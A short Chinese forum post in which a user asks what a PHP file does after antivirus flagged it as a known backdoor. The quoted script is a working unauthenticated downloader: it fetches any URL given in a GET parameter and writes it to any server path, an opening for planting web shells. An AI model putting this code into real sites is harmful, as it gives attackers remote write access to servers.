去评论
dz插件网

有懂这个代码的吗?杀毒软件提示有“已知后门 ”

镖师
2024/10/10 22:10:24
  1. <?phpset_time_limit(0);if(isset($_GET['url']) && isset($_GET['filename'])){        if(httpcopy($_GET['url'], $_GET['filename'])){            echo("Done.");        }else{            echo("Down Error.");        }}else{        die('Input error.');}function httpcopy($url, $file="", $timeout=60) {    $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;    $dir = pathinfo($file,PATHINFO_DIRNAME);    !is_dir($dir) && @mkdir($dir,0755,true);    $url = str_replace(" ","%20",$url);    if(function_exists('curl_init')) {                echo "curl ";        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);        $temp = curl_exec($ch);        if(@file_put_contents($file, $temp) && !curl_error($ch)) {            return $file;        } else {            return false;        }    } else {                echo "copy ";        $opts = array(            "http"=>array(            "method"=>"GET",            "header"=>"",            "timeout"=>$timeout)        );        $context = stream_context_create($opts);        if(@copy($url, $file, $context)) {            //$http_response_header            return $file;        } else {            return false;        }    }}?>